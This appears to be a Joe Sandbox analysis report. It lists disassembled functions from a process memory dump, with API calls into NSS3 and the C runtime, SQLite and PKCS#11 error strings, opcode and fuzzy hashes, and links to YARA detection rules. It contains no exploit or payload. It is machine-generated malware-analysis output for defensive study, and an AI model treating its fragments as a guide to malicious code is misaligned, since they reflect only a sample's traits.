memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C611086

Strings

h(al, xrefs: 6C611062, 6C61105D, 6C610F37, 6C611081, 6C611082
h(al, xrefs: 6C610E55, 6C610EC4, 6C610F3A, 6C610FA7

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(al$h(al
API String ID: 1297977491-3183079524
Opcode ID: b281ce86477fa6574a759025834ccc30308d8e310c5042e08501f3f136f6609d
Instruction ID: 422d236cccafc4e8e3238253fb335847028e2a16a36e3a760009779801fa1fb0
Opcode Fuzzy Hash: b281ce86477fa6574a759025834ccc30308d8e310c5042e08501f3f136f6609d
Instruction Fuzzy Hash: A9A13C71B0524A9FCF08CF9DC990AEEBBB6BF49315B148129E904A7B00D735AC11CB94

Function 6C534DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C535125
Pkl, xrefs: 6C535019, 6C5350FA, 6C535157, 6C5351DE, 6C5351F2, 6C53520D, 6C535220, 6C5352A2, 6C5352B5
0kl, xrefs: 6C534EDE, 6C534F82
pkl, xrefs: 6C534E1C, 6C534E81, 6C534FDE, 6C535047, 6C5350BB, 6C5351A3, 6C53526C

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID:
String ID: 0kl$Pkl$pkl$winUnlockReadLock
API String ID: 0-3348065622
Opcode ID: 1769cc6396da237c39174d73ca29fa898b6db5af57898173abbc408cc68e80f6
Instruction ID: 5e47a27b7fb717356efd3182682e4e9a2ee606d506ed91a22a2362aa7de41fe6
Opcode Fuzzy Hash: 1769cc6396da237c39174d73ca29fa898b6db5af57898173abbc408cc68e80f6
Instruction Fuzzy Hash: 6EE13CB1A083408FDB04DF29D88865ABBF1FF89304F559A1DF89997351EB30D985CB86

Function 6C536F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

unordered*, xrefs: 6C53702B
*?[, xrefs: 6C537034, 6C537052, 6C537070
noskipscan*, xrefs: 6C537067
sz=[0-9]*, xrefs: 6C537049

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: a472298952581d32543518842fbc35d50cb8e49881f763b09017643bc8a0e094
Instruction ID: 6dc7f3582477dc9050d47e2acbf3a1f80bff12a315f285c67a766c48a831fab3
Opcode Fuzzy Hash: a472298952581d32543518842fbc35d50cb8e49881f763b09017643bc8a0e094
Instruction Fuzzy Hash: 38718C32F042318BEB10CA6DCC8039A77A29F85354F251279C86DABBD5FA759C468BC1

Function 6C553EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_, xrefs: 6C553FAA, 6C554185
sqlite_master, xrefs: 6C55463F
sqlite_temp_master, xrefs: 6C55460F

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: b11e366cca99e6c5ab95f33f23d07d21ca1edba0c8fa7cff6b54fe822c57ade6
Instruction ID: eeb1d9a617ac50e7399a8d688a66d47a1b8b3e1c60db0e4f5043df24fb84d703
Opcode Fuzzy Hash: b11e366cca99e6c5ab95f33f23d07d21ca1edba0c8fa7cff6b54fe822c57ade6
Instruction Fuzzy Hash: 5D225935B4C1958FD704CB2588602B67BF2AF46318BE949EAC9E15FE56C722E871C780

Function 6C68BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C68C0B6

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: a127967ed6535d60e906ab6e81aaf543878379bb7934acb3aea6cfce3485a07e
Instruction ID: a43966d6d4c6095a14928463abcd8d5133854fa6a9d4174bd057386318184269
Opcode Fuzzy Hash: a127967ed6535d60e906ab6e81aaf543878379bb7934acb3aea6cfce3485a07e
Instruction Fuzzy Hash: 1D92A174A05209DFDB05DF64C890BAEBBB2FF88308F244269D512A7B91D735EC46CB64

Function 6C523D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C523EA9

Strings

0, xrefs: 6C523DAB

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: e631e44ba51c6bc41ac232d427f100c7d522f6832810af8d58e7a31c69e37d7b
Instruction ID: 8265cb76a751a54a8b4044124b77418a0b6b8c342fba2acf0c68a06269e2584a
Opcode Fuzzy Hash: e631e44ba51c6bc41ac232d427f100c7d522f6832810af8d58e7a31c69e37d7b
Instruction Fuzzy Hash: 93512632E490B98AEB15867D8C603FFBBF99B83314F19432AC9A567AC0D63C454D87D0

Function 6C5CEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5CF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C5CF0F9

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 330d22ce457fb1dd86d7fdf13087fb973216d1787bd3ed474b99c61d752711d9
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: E9917E75B0161A8BCB14CFA8CC916AEB7F1FF85324F24472DD962A7B80D734A905CB52

Function 6C5F2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C617929), ref: 6C5F2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C617929), ref: 6C5F2FE0

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 88305780621aa28bfd5a1435726c4c0a44372ff9ca421ef631d006e373d795d2
Instruction ID: 2ada49b2db1eb8f806a15a824608426a0d192c802eb9e558259662a47938ec50
Opcode Fuzzy Hash: 88305780621aa28bfd5a1435726c4c0a44372ff9ca421ef631d006e373d795d2
Instruction Fuzzy Hash: 285122B1A049118FE708CE59CC80B6A73B9FB85318F29457AD9299BB01D731ED47CF82

Function 6C5FED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C5FEE3D

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 84b2a3b3cdc3e13f63ffb89220fb38be221785c41d86ed0c9efe5e9d35816373
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 4471B072E017018FE718CF59D88066ABBF2AB88304F15862DD96697B91D7B0E942CF91

Function 6C525F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C526013

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 48203dc2a0160bbb1e653d14772a2fa324b95609641f191c67326967134ff28c
Instruction ID: dc46e630d45c589cbf060c53c93effe2f5cf921f1be3382e65ed353d089764ab
Opcode Fuzzy Hash: 48203dc2a0160bbb1e653d14772a2fa324b95609641f191c67326967134ff28c
Instruction Fuzzy Hash: CBC123B4A053068BDB14CF15CC907AAB7F2AF85318F688168D9A5CBBC5DB39EC41C790

Function 6C6B5E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B90: PR_Lock.NSS3(00010000,?,00000000,?,6C59DF9B), ref: 6C6B5B9E
Part of subcall function 6C6B5B90: PR_Unlock.NSS3 ref: 6C6B5BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C6B5E23,6C59E154), ref: 6C6B5EBF

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: b13fb44a664ea0489887c371c7159153b34154f829c42734586c46392394d5ee
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 58519D72E0022A8FDB18CF59C8816AEF7B2FF98314B19456DD815B7745D730A951CBA0

Function 6C66DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed0c72a92fba7f2bd9f9977d7db8b9b49ceebd7d17f98c35464f6a286ee92990
Instruction ID: 7ad03b6a70b1d0e7cf79b1ecf3260bee888a113994c3fa4ba9fd61e9e35a86ac
Opcode Fuzzy Hash: ed0c72a92fba7f2bd9f9977d7db8b9b49ceebd7d17f98c35464f6a286ee92990
Instruction Fuzzy Hash: 7CF16D71A01205CFDB08CF1AD894BAA77B2BF89314F294169D8199FB41DB35EC42CBD6

Function 6C601DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 8e660e0ff4fd199f059cb621230ac1ef12d155a9a9252406f1c2ab61d4642a16
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 51D15732B096168BDB198E18C9843DE7763AF85328F5D4369DD643B7C6C37A9906C3C4

Function 6C598EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9971269bc88f9968f860935cdaa0261286bf06a6b1318358b0fb892095ec6c53
Instruction ID: e867bfd782a93813b27c6b6ff9b4374be3a5ba31f86e636744f7b91d2f83eb27
Opcode Fuzzy Hash: 9971269bc88f9968f860935cdaa0261286bf06a6b1318358b0fb892095ec6c53
Instruction Fuzzy Hash: 8411C172A002558BD704CF25DC84B5AB7A6FF4231CF0446EAD8168FA41C775E886C7C2

Function 6C670C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0142b911938a7ab2a6ffdc07b714e897b2428499fdf50b955be0bf525b90c772
Instruction ID: a2d02ee05d3f5ef734ad1ec8524bf1b977742da5b989d91fa1a361819114c8e5
Opcode Fuzzy Hash: 0142b911938a7ab2a6ffdc07b714e897b2428499fdf50b955be0bf525b90c772
Instruction Fuzzy Hash: 9C11BF787042058FCB10DF28C8806AA7BA6EF85368F148469D8198B741DB32E906CBB4

Function 6C5E3FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 45d15ffd1802122291a8ebfdafa75012ad87965c580decd97affd7ffae0f6733
Instruction ID: b041d8201d32b9e05cdf4f3bdf0763f430da1cb82c9cd80521d6e69999b6b597
Opcode Fuzzy Hash: 45d15ffd1802122291a8ebfdafa75012ad87965c580decd97affd7ffae0f6733
Instruction Fuzzy Hash: 76F0BE70E047599BCB00DF29C49019ABBF4EF4E244F008219EC8AAB300EB30AAC4C7C5

Function 6C670D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: d5419d4b8a78becf68b8df28da99a57fcef2c9436cf557bd810c092ccb73dc5c
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 13E0923A212254A7DB248E09C560AA97399DF82719FB5887DCC5D9FA01E733F80387B5

Function 6C59CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f957b762c633e6be69ae042cc55de0791cefa08ba69e805dbf3d375031b809e
Instruction ID: 9fd4fcaf4bd3eea8924d5a3ccc14fd6bf4763cc04027528c48b42e71b23eaeb4
Opcode Fuzzy Hash: 3f957b762c633e6be69ae042cc55de0791cefa08ba69e805dbf3d375031b809e
Instruction Fuzzy Hash: 71C04838244608CFC704DA08E489AA43BA8AB09610B0400A8EA028B721DB21F800DA80

Function 6C5D1D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C5D1D46), ref: 6C5D2345

Strings

CKR_NEW_PIN_MODE, xrefs: 6C5D1E9F
CKR_PIN_EXPIRED, xrefs: 6C5D206B
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C5D20D9
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C5D1EE1
CKR_DEVICE_MEMORY, xrefs: 6C5D1FF3
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C5D1F0F
CKR_INFORMATION_SENSITIVE, xrefs: 6C5D22B1
CKR_DEVICE_ERROR, xrefs: 6C5D229D
CKR_DEVICE_REMOVED, xrefs: 6C5D2261
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C5D2015
CKR_OK, xrefs: 6C5D1DFC
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C5D2293, 6C5D233F
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C5D2319
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C5D1FD7
CKR_RANDOM_NO_RNG, xrefs: 6C5D22A7
CKR_MUTEX_BAD, xrefs: 6C5D1F49
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C5D2327
rv = %s, xrefs: 6C5D2340
CKR_PIN_LOCKED, xrefs: 6C5D2075
CKR_STATE_UNSAVEABLE, xrefs: 6C5D2037
CKR_BUFFER_TOO_SMALL, xrefs: 6C5D2183
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C5D2320
CKR_OPERATION_ACTIVE, xrefs: 6C5D22B8
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C5D1DE0
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C5D1F95
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C5D227F
CKR_TOKEN_NOT_PRESENT, xrefs: 6C5D1F81
CKR_SIGNATURE_INVALID, xrefs: 6C5D20CF
CKR_FUNCTION_REJECTED, xrefs: 6C5D2289
CKR_SAVED_STATE_INVALID, xrefs: 6C5D1E56
